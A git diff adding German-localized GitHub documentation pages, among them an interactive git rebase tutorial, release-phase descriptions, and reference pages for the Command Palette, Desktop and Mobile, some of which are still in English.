+
+11. Push your changes to the new repository on {% data variables.product.product_name %}.
+    ```shell
+    git push -u origin BRANCH-NAME
+    ```
diff --git a/translations/de-DE/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/de-DE/content/get-started/using-git/using-git-rebase-on-the-command-line.md
new file mode 100644
index 0000000000..3dfad4a66d
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/using-git-rebase-on-the-command-line.md
@@ -0,0 +1,154 @@
+---
+title: Git rebase an der Befehlszeile verwenden
+redirect_from:
+  - /articles/using-git-rebase
+  - /articles/using-git-rebase-on-the-command-line
+  - /github/using-git/using-git-rebase-on-the-command-line
+  - /github/getting-started-with-github/using-git-rebase-on-the-command-line
+  - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line
+intro: Im Folgenden findest du ein kurzes Tutorial zur Verwendung von `git rebase` über die Befehlszeile.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Git rebase
+ms.openlocfilehash: e0d2d2d10da187d6cc38a72a44e8235ec1f6f73f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145130497'
+---
+## Verwenden von Git-Rebase
+
+In diesem Beispiel werden mit Ausnahme von `exec` alle verfügbaren `git rebase`-Befehle vorgestellt.
+
+Wir beginnen das Rebasing, indem wir `git rebase --interactive HEAD~7` im Terminal eingeben. Unser bevorzugter Texteditor zeigt die folgenden Zeilen an:
+
+```
+pick 1fc6c95 Patch A
+pick 6b2481b Patch B
+pick dd1475d something I want to split
+pick c619268 A fix for Patch B
+pick fa39187 something to add to patch A
+pick 4ca2acc i cant' typ goods
+pick 7b36971 something to move before patch B
+```
+
+In diesem Beispiel führen wir folgende Schritte aus:
+
+* Den fünften Commit (`fa39187`) mithilfe von `squash` in den `"Patch A"`-Commit (`1fc6c95`) einfügen
+* Den letzten Commit (`7b36971`) vor den `"Patch B"`-Commit (`6b2481b`) verschieben. Dieser bleibt ein `pick`.
+* Den `"A fix for Patch B"`-Commit (`c619268`) mit dem `"Patch B"`-Commit (`6b2481b`) zusammenführen und die Commitnachricht mit `fixup` ignorieren.
+* Den dritten Commit (`dd1475d`) mithilfe von `edit` in zwei kleinere Commits aufteilen.
+* Die Commitnachricht des falsch geschriebenen Commits (`4ca2acc`) mit `reword` korrigieren.
+
+Puh! Klingt nach jeder Menge Arbeit, doch indem wir die Schritte einzeln durchführen, können wir diese Änderungen ohne Weiteres vornehmen.
+
+Zunächst müssen wir die Befehle in der Datei wie folgt ändern:
+
+```
+pick 1fc6c95 Patch A
+squash fa39187 something to add to patch A
+pick 7b36971 something to move before patch B
+pick 6b2481b Patch B
+fixup c619268 A fix for Patch B
+edit dd1475d something I want to split
+reword 4ca2acc i cant' typ goods
+```
+
+Wir haben den Befehl in jeder Zeile von `pick` in den gewünschten Befehl geändert.
+
+Speichere nun den Vorgang und schließe den Editor. Dadurch wird der interaktive Rebase-Vorgang gestartet.
+
+Git überspringt den ersten Rebase-Befehl `pick 1fc6c95`, da nichts unternommen werden muss, und geht zum nächsten Befehl über: `squash fa39187`. Da für diesen Vorgang deine Eingabe erforderlich ist, öffnet Git den Texteditor erneut. Die geöffnete Datei sieht in etwa wie folgt aus:
+
+```
+# This is a combination of two commits.
+# The first commit's message is:
+
+Patch A
+
+# This is the 2nd commit message:
+
+something to add to patch A
+
+# Please enter the commit message for your changes. Lines starting
+# with '#' will be ignored, and an empty message aborts the commit.
+# Not currently on any branch.
+# Changes to be committed:
+#   (use "git reset HEAD <file>..." to unstage)
+#
+# modified:   a
+#
+```
+
+Diese Git-Datei enthält Informationen dazu, welche Aktionen mit `squash` durchgeführt werden. Sie enthält die Nachricht des ersten Commits (`"Patch A"`) und die Nachricht des zweiten Commits (`"something to add to patch A"`). Wenn du mit diesen Commit-Mitteilungen zufrieden bist, kannst du die Datei speichern und den Editor schließen. Andernfalls kannst du einfach den Text der Commit-Mitteilung ändern.
+
+Wenn der Editor geschlossen ist, wird der Rebase-Vorgang fortgesetzt:
+
+```
+pick 1fc6c95 Patch A
+squash fa39187 something to add to patch A
+pick 7b36971 something to move before patch B
+pick 6b2481b Patch B
+fixup c619268 A fix for Patch B
+edit dd1475d something I want to split
+reword 4ca2acc i cant' typ goods
+```
+
+Git verarbeitet die beiden `pick`-Befehle (für `pick 7b36971` und `pick 6b2481b`). *Außerdem* wird der `fixup`-Befehl (`fixup c619268`) verarbeitet, da er keine Interaktion erfordert. `fixup` führt die Änderungen von `c619268` mit dem Commit davor (`6b2481b`) zusammen. Beide Änderungen weisen dieselbe Commitnachricht auf: `"Patch B"`.
+
+Git gelangt zum `edit dd1475d`-Vorgang, hält an und gibt im Terminal die folgende Meldung aus:
+
+```shell
+You can amend the commit now, with
+
+        git commit --amend
+
+Once you are satisfied with your changes, run
+
+        git rebase --continue
+```
+
+An diesem Punkt kannst du die Dateien in deinem Projekt bearbeiten, um zusätzliche Änderungen vorzunehmen. Für jede von dir vorgenommene Änderung musst du einen neuen Commit durchführen. Gib dazu den Befehl `git commit --amend` ein. Nachdem du alle Änderungen vorgenommen hast, kannst du `git rebase --continue` ausführen.
+
+Anschließend gelangt Git zum Befehl `reword 4ca2acc`.  Daraufhin wird dein Texteditor erneut geöffnet und die folgenden Informationen werden angezeigt:
+
+```
+i cant' typ goods
+
+# Please enter the commit message for your changes. Lines starting
+# with '#' will be ignored, and an empty message aborts the commit.
+# Not currently on any branch.
+# Changes to be committed:
+#   (use "git reset HEAD^1 <file>..." to unstage)
+#
+# modified:   a
+#
+```
+
+Git zeigt erneut die zu bearbeitende Commit-Mitteilung an. Du kannst den Text ändern (`"i cant' typ goods"`), die Datei speichern und den Editor schließen. Git schließt den Rebase-Vorgang ab, und du kehrst zum Terminal zurück.
+
+## Code mit Rebasing an GitHub übertragen
+
+Da du den Git-Verlauf geändert hast, funktioniert das normale `git push origin` **nicht**. Du musst den Befehl ändern, indem du deine neuesten Änderungen per erzwungenem Push-Vorgang überträgst:
+
+```shell
+# Don't override changes
+$ git push origin main --force-with-lease
+
+# Override changes
+$ git push origin main --force
+```
+
+{% warning %}
+
+Das erzwungene Pushen hat ernste Auswirkungen, da so die zeitliche Abfolge von Commits für den Branch geändert wird. Insbesondere, wenn mehrere Personen auf dein Repository zugreifen, sollte das Pushen mit Vorsicht verwendet werden.
+
+{% endwarning %}
+
+## Weitere Informationsquellen
+
+* [Mergekonflikte nach einem „Git Rebase“ beheben](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)
diff --git a/translations/de-DE/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md b/translations/de-DE/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
new file mode 100644
index 0000000000..6a11be4d56
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md
@@ -0,0 +1,37 @@
+---
+title: Early-Access-Versionen mit Funktionsvorschau erkunden
+intro: 'Du kannst die Featurevorschau nutzen, um Produkte oder Features zu sehen, die in der Betaphase verfügbar sind, und um jedes Feature für dein persönliches Konto zu aktivieren oder zu deaktivieren.'
+redirect_from:
+  - /articles/exploring-early-access-releases-with-feature-preview
+  - /github/getting-started-with-github/exploring-early-access-releases-with-feature-preview
+  - /github/getting-started-with-github/using-github/exploring-early-access-releases-with-feature-preview
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Early access
+shortTitle: Feature preview
+ms.openlocfilehash: ce4aabcb23d573fac99344ae5db1fdebd1b40286
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145130494'
+---
+## Release-Zyklus von {% data variables.product.prodname_dotcom %}
+
+Die Produkte und Features von {% data variables.product.prodname_dotcom %} können mehrere Releasephasen durchlaufen.
+
+| Phase | BESCHREIBUNG |
+|-------|-------------|
+| Alpha | Das Produkt oder die Funktion befindet sich in einer massiven Entwicklungsphase und hat oft wechselnde Anforderungen und Umfang. Die Funktion ist für Demonstrations- und Testzwecke verfügbar, ist aber möglicherweise nicht dokumentiert. Alpha-Releases sind nicht notwendigerweise vollständig, es werden keine Service Level Agreements (SLAs) angeboten und es gibt keine technischen Supportverpflichtungen. <br><br> **Hinweis**: Für ein in der „Technologievorschau“ veröffentlichtes Produkt oder Feature gilt, dass es sich in der Alpha-Releasephase befindet. Releases in der Technologievorschau weisen dieselben Merkmale wie Alphareleases auf, wie oben beschrieben.|
+| Beta | Das Produkt oder die Funktion ist bereit für eine erweiterte Verteilung. Beta-Versionen können öffentlich oder privat sein, sind dokumentiert, haben aber keine SLAs oder technische Support-Verpflichtungen. |
+| Allgemeine Verfügbarkeit (General Availability, GA) | Das Produkt oder die Funktion ist vollständig getestet und öffentlich für alle Benutzer zugänglich. GA-Releases sind für die Produktion bereit und die dazugehörigen SLA und technischen Supportverpflichtungen gelten entsprechend. |
+
+## Erforsche Beta-Releases mit einer Funktions-Vorschau
+
+Du kannst eine Liste der Funktionen sehen, die in der Beta-Version verfügbar sind, und eine kurze Beschreibung für jede Funktion. Jede Funktion enthält einen Link, um Feedback zu geben.
+
+{% data reusables.feature-preview.feature-preview-setting  %}
+2. Klicke optional rechts neben einem Feature auf **Enable** oder **Disable**.
+  ![Schaltfläche „Enable" in der Featurevorschau](/assets/images/help/settings/enable-feature-button.png)
diff --git a/translations/de-DE/content/get-started/using-github/github-cli.md b/translations/de-DE/content/get-started/using-github/github-cli.md
new file mode 100644
index 0000000000..e632dc313d
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/github-cli.md
@@ -0,0 +1,22 @@
+---
+title: GitHub CLI
+intro: '{% data reusables.cli.cli-intro %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+ms.openlocfilehash: b13d10e80942ace57d52cb57b315474cf9cbd442
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882207'
+---
+{% data reusables.cli.about-cli %}
+
+{% data reusables.cli.cli-features %}
+
+Weitere Informationen findest du unter [{% data variables.product.prodname_cli %}](/github-cli).
diff --git a/translations/de-DE/content/get-started/using-github/github-command-palette.md b/translations/de-DE/content/get-started/using-github/github-command-palette.md
new file mode 100644
index 0000000000..c169b3d97e
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/github-command-palette.md
@@ -0,0 +1,229 @@
+---
+title: GitHub Command Palette
+intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
+versions:
+  feature: command-palette
+shortTitle: GitHub Command Palette
+---
+
+{% data reusables.command-palette.beta-note %}
+
+## About the {% data variables.product.prodname_command_palette %}
+
+You can navigate, search, and run commands on {% data variables.product.product_name %} with the {% data variables.product.prodname_command_palette %}. The command palette is an on-demand way to show suggestions based on your current context and resources you've used recently. You can open the command palette with a keyboard shortcut from anywhere on {% data variables.product.product_name %}, which saves you time and keeps your hands on the keyboard.
+
+### Fast navigation
+
+When you open the command palette, the suggestions are optimized to give you easy access from anywhere in a repository, personal account, or organization to top-level pages like the Issues page. If the location you want isn't listed, start entering the name or number for the location to refine the suggestions.
+
+![Command palette repository suggestions](/assets/images/help/command-palette/command-palette-navigation-repo-default.png)
+
+### Easy access to commands
+
+The ability to run commands directly from your keyboard, without navigating through a series of menus, may change the way you use {% data variables.product.prodname_dotcom %}. For example, you can switch themes with a few keystrokes, making it easy to toggle between themes as your needs change.
+
+![Command palette change theme](/assets/images/help/command-palette/command-palette-command-change-theme.png)
+
+## Opening the {% data variables.product.prodname_command_palette %}
+
+Open the command palette using one of the following default keyboard shortcuts:
+- Windows and Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
+
+You can customize the keyboard shortcuts you use to open the command palette in the [Accessibility section](https://github.com/settings/accessibility) of your user settings. For more information, see "[Customizing your {% data variables.product.prodname_command_palette %} keyboard shortcuts](#customizing-your-github-command-palette-keyboard-shortcuts)."
+
+When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization).
+
+![Command palette launch](/assets/images/help/command-palette/command-palette-launch.png)
+
+{% note %}
+
+**Notes:**
+- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> (Mac).{% ifversion projects-v2 %}
+- If you are working on a {% data variables.projects.project_v2 %}, a project-specific command palette is displayed instead. For more information, see "[Customizing a view](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)."{% endif %}
+
+{% endnote %}
+
+### Customizing your {% data variables.product.prodname_command_palette %} keyboard shortcuts
+
+
+The default keyboard shortcuts used to open the command palette may conflict with your default OS and browser keyboard shortcuts. You have the option to customize your keyboard shortcuts in the [Accessibility section](https://github.com/settings/accessibility) of your account settings. In the command palette settings, you can customize the keyboard shortcuts for opening the command palette in both search mode and command mode. 
+
+![Command palette keyboard shortcut settings](/assets/images/help/command-palette/command-palette-keyboard-shortcut-settings.png)
+## Navigating with the {% data variables.product.prodname_command_palette %}
+
+You can use the command palette to navigate to any page that you have access to on {% data variables.product.product_name %}.
+
+{% data reusables.command-palette.open-palette %}
+
+2. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text.
+
+   ![Command palette navigation current scope](/assets/images/help/command-palette/command-palette-navigation-current-scope.png)
+
+{% data reusables.command-palette.change-scope %}
+
+   You can also use keystrokes to narrow your search. For more information, see "[Keystroke functions](#keystroke-functions)."
+
+4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
+
+5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+
+## Searching with the {% data variables.product.prodname_command_palette %}
+
+You can use the command palette to search for anything on {% data variables.location.product_location %}.
+
+{% data reusables.command-palette.open-palette %}
+
+{% data reusables.command-palette.change-scope %}
+
+3. Optionally, use keystrokes to find specific types of resource:
+
+   - <kbd>#</kbd> Search for issues, pull requests, discussions, and projects
+   - <kbd>!</kbd> Search for projects
+   - <kbd>@</kbd> Search for users, organizations, and repositories
+   - <kbd>/</kbd> Search for files within a repository scope
+
+   ![Command palette search files](/assets/images/help/command-palette/command-palette-search-files.png)
+
+4. Begin entering your search terms. The command palette will offer you a range of suggested searches based on your search scope.
+
+   {% tip %}
+
+   You can also use the full syntax of {% data variables.product.prodname_dotcom %}'s integrated search within the command palette. For more information, see "[Searching for information on {% data variables.product.prodname_dotcom %}](/search-github)."
+
+   {% endtip %}
+
+5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+
+## Running commands from the {% data variables.product.prodname_command_palette %}
+
+You can use the {% data variables.product.prodname_command_palette %} to run commands. For example, you can create a new repository or issue, or change your theme. When you run a command, the location for its action is determined by either the underlying page or the scope shown in the command palette.
+
+- Pull request and issue commands always run on the underlying page.
+- Higher-level commands, for example, repository commands, run in the scope shown in the command palette.
+
+For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
+
+1. The default keyboard shortcuts to open the command palette in command mode are <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac). If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+
+   ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
+
+{% data reusables.command-palette.change-scope %}
+
+3. If the command you want is not displayed, check your scope then start entering the command name in the text box.
+
+4. Use the arrow keys to highlight the command you want and use <kbd>Enter</kbd> to run it.
+
+
+## Closing the command palette
+
+When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
+
+- Search and navigation mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Command mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
+
+If you have customized the command palette keyboard shortcuts in the Accessibility settings, your customized keyboard shortcuts will be used for both opening and closing the command palette.  
+
+## {% data variables.product.prodname_command_palette %} reference
+
+### Keystroke functions
+
+These keystrokes are available when the command palette is in navigation and search modes, that is, they are not available in command mode.
+
+| Keystroke | Function |
+| :- | :- |
+|<kbd>></kbd>| Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)." |
+|<kbd>#</kbd>| Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
+|<kbd>@</kbd>| Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
+|<kbd>/</kbd>| Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
+|<kbd>!</kbd>| Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."|
+|<kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Command</kbd>+<kbd>C</kbd>| Copy the search or navigation URL for the highlighted result to the clipboard.|
+|<kbd>Enter</kbd>| Jump to the highlighted result or run the highlighted command.|
+|<kbd>Ctrl</kbd>+<kbd>Enter</kbd> or <kbd>Command</kbd>+<kbd>Enter</kbd>| Open the highlighted search or navigation result in a new brower tab.|
+|<kbd>?</kbd>| Display help within the command palette.|
+
+### Global commands
+
+These commands are available from all scopes.
+
+| Command | Behavior|
+| :- | :- | :- |
+|`Import repository`|Create a new repository by importing a project from another version control system. For more information, see "[Importing a repository with GitHub importer](/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer)."  |
+|`New gist`|Open a new gist. For more information, see "[Creating a gist](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists)." |
+|`New organization`|Create a new organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." |
+|`New project`|Create a new project board. For more information, see "[Creating a project](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project)."  |
+|`New repository`|Create a new repository from scratch. For more information, see "[Creating a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository)." |
+|`Switch theme to <theme name>`|Change directly to a different theme for the UI. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)." |
+
+
+### Organization commands
+
+These commands are available only within the scope of an organization.
+
+| Command | Behavior|
+| :- | :- |
+| `New team`| Create a new team in the current organization. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)."
+
+### Repository commands
+
+Most of these commands are available only on the home page of the repository. If a command is also available on other pages, this is noted in the behavior column.
+
+| Command | Behavior|
+| :- | :- |
+|`Clone repository: <URL type>`|Copy the URL needed to clone the repository using {% data variables.product.prodname_cli %}, HTTPS, or SSH to the clipboard. For more information, see "[Cloning a repository](/repositories/creating-and-managing-repositories/cloning-a-repository)."|
+|`New discussion`|Create a new discussion in the repository. For more information, see "[Creating a new discussion](/discussions/quickstart#creating-a-new-discussion)."|
+|`New file`|Create a new file from any page in the repository. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+|`New issue`|Open a new issue from any page in the repository. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)."|
+|`Open in new codespace`|Create and open a codespace for this repository. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."|
+|`Open in github.dev editor`|Open the current repository in the github.dev editor. For more information, see "[Opening the web based editor](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)."|
+
+### File commands
+
+These commands are available only when you open the command palette from a file in a repository.
+
+| Command | Behavior|
+| :- | :- |
+|`Copy permalink`|Create a link to the file that includes the current commit SHA and copy the link to the clipboard. For more information, see "[Getting permanent links to files](/repositories/working-with-files/using-files/getting-permanent-links-to-files#press-y-to-permalink-to-a-file-in-a-specific-commit)."
+|`Open in github.dev editor`|Open the currently displayed file in github.dev editor. For more information, see "[Opening the web based editor](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)."|
+
+### Discussion commands
+
+These commands are available only when you open the command palette from a discussion. They act on your current page and are not affected by the scope set in the command palette.
+
+| Command | Behavior|
+| :- | :- |
+|`Delete discussion...`|Permanently delete the discussion. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion)."
+|`Edit discussion body`|Open the main body of the discussion ready for editing.
+|`Subscribe`/`unsubscribe`|Opt in or out of notifications for additions to the discussion. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+|`Transfer discussion...`|Move the discussion to a different repository. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#transferring-a-discussion)."
+
+### Issue commands
+
+These commands are available only when you open the command palette from an issue. They act on your current page and are not affected by the scope set in the command palette.
+
+| Command | Behavior|
+| :- | :- |
+|`Close`/`reopen issue`|Close or reopen the current issue. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)."|
+|`Convert issue to discussion...`|Convert the current issue into a discussion. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
+|`Delete issue...`|Delete the current issue. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)."|
+|`Edit issue body`|Open the main body of the issue ready for editing.
+|`Edit issue title`|Open the title of the issue ready for editing.
+|`Lock issue`|Limit new comments to users with write access to the repository. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
+|`Pin`/`unpin issue`|Change whether or not the issue is shown in the pinned issues section for the repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."|
+|`Subscribe`/`unsubscribe`|Opt in or out of notifications for changes to this issue. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+|`Transfer issue...`|Transfer the issue to another repository. For more information, see "[Transferring an issue to another repository](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository)."|
+
+### Pull request commands
+
+These commands are available only when you open the command palette from a pull request. They act on your current page and are not affected by the scope set in the command palette.
+
+| Command | Behavior|
+| :- | :- |
+|`Close`/`reopen pull request`|Close or reopen the current pull request. For more information, see "[About pull requests](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."|
+|`Convert to draft`/`Mark pull request as ready for review`|Change the state of the pull request to show it as ready, or not ready, for review. For more information, see "[Changing the state of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)."|
+|`Copy current branch name`| Add the name of the head branch for the pull request to the clipboard.
+|`Edit pull request body`|Open the main body of the pull request ready for editing.
+|`Edit pull request title`|Open the title of the pull request ready for editing.
+|`Open in new codespace`|Create and open a codespace for the head branch of the pull request. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
+|`Subscribe`/`unsubscribe`|Opt in or out of notifications for changes to this pull request. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+|`Update current branch`|Update the head branch of the pull request with changes from the base branch. This is available only for pull requests that target the default branch of the repository. For more information, see "[About branches](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)."|
diff --git a/translations/de-DE/content/get-started/using-github/github-desktop.md b/translations/de-DE/content/get-started/using-github/github-desktop.md
new file mode 100644
index 0000000000..649d75e90f
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/github-desktop.md
@@ -0,0 +1,29 @@
+---
+title: GitHub Desktop
+intro: '{% data variables.product.prodname_desktop %} erweitert und vereinfacht deinen Git- und {% data variables.product.prodname_dotcom %}-Workflow auf einer grafischen Benutzeroberfläche.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Desktop
+redirect_from:
+  - /github/getting-started-with-github/github-desktop
+  - /github/getting-started-with-github/using-github/github-desktop
+ms.openlocfilehash: 91187d415f45a5cd3e09f7d5132ecd13d86879df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133066'
+---
+## Informationen zu {% data variables.product.prodname_desktop %}
+
+{% data reusables.desktop.about-github-desktop %}
+
+Weitere Informationen zu {% data variables.product.prodname_desktop %} findest du unter „[Installieren und Konfigurieren von {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop)“ in der {% data variables.product.prodname_desktop %}-Dokumentation.
+
+## Feedback teilen
+
+Wenn du Feedback- oder Featureanforderungen hast, kannst du ein Issue im [`desktop/desktop`-Repository](https://github.com/desktop/desktop) erstellen.
diff --git a/translations/de-DE/content/get-started/using-github/github-mobile.md b/translations/de-DE/content/get-started/using-github/github-mobile.md
new file mode 100644
index 0000000000..74cd8e8b2a
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-github/github-mobile.md
@@ -0,0 +1,94 @@
+---
+title: GitHub Mobile
+intro: 'Triage, collaborate, and manage your work on {% data variables.product.product_name %} from your mobile device.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Mobile
+redirect_from:
+  - /get-started/using-github/github-for-mobile
+  - /github/getting-started-with-github/github-for-mobile
+  - /github/getting-started-with-github/using-github/github-for-mobile
+---
+
+## About {% data variables.product.prodname_mobile %}
+
+{% data reusables.mobile.about-mobile %}
+
+{% data variables.product.prodname_mobile %} gives you a way to do high-impact work on {% data variables.product.product_name %} quickly and from anywhere. {% data variables.product.prodname_mobile %} is a safe and secure way to access your {% data variables.product.product_name %} data through a trusted, first-party client application.
+
+With {% data variables.product.prodname_mobile %} you can:
+
+- Manage, triage, and clear notifications
+- Read, review, and collaborate on issues and pull requests
+- Edit files in pull requests
+- Search for, browse, and interact with users, repositories, and organizations
+- Receive a push notification when someone mentions your username
+{% ifversion fpt or ghec %}- Secure your GitHub.com account with two-factor authentication
+- Verify your sign in attempts on unrecognized devices{% endif %}
+
+For more information about notifications for {% data variables.product.prodname_mobile %}, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."
+
+{% ifversion fpt or ghec %}- For more information on two-factor authentication using {% data variables.product.prodname_mobile %}, see "[Configuring {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile) and [Authenticating using {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication##verifying-with-github-mobile)." {% endif %}
+
+## Installing {% data variables.product.prodname_mobile %}
+
+To install {% data variables.product.prodname_mobile %} for Android or iOS, see [{% data variables.product.prodname_mobile %}](https://github.com/mobile).
+
+## Managing accounts
+
+You can be simultaneously signed into mobile with one personal account on {% data variables.product.prodname_dotcom_the_website %} and one personal account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+
+{% data reusables.mobile.push-notifications-on-ghes %}
+
+{% data variables.product.prodname_mobile %} may not work with your enterprise if you're required to access your enterprise over VPN.
+
+### Prerequisites
+
+You must install {% data variables.product.prodname_mobile %} 1.4 or later on your device to use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}.
+
+To use {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, {% data variables.location.product_location %} must be version 3.0 or greater, and your enterprise owner must enable mobile support for your enterprise. For more information, see {% ifversion ghes %}"[Release notes](/enterprise-server/admin/release-notes)" and {% endif %}"[Managing {% data variables.product.prodname_mobile %} for your enterprise]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %}
+
+During the beta for {% data variables.product.prodname_mobile %} with {% data variables.product.prodname_ghe_server %}, you must be signed in with a personal account on {% data variables.product.prodname_dotcom_the_website %}.
+
+### Adding, switching, or signing out of accounts
+
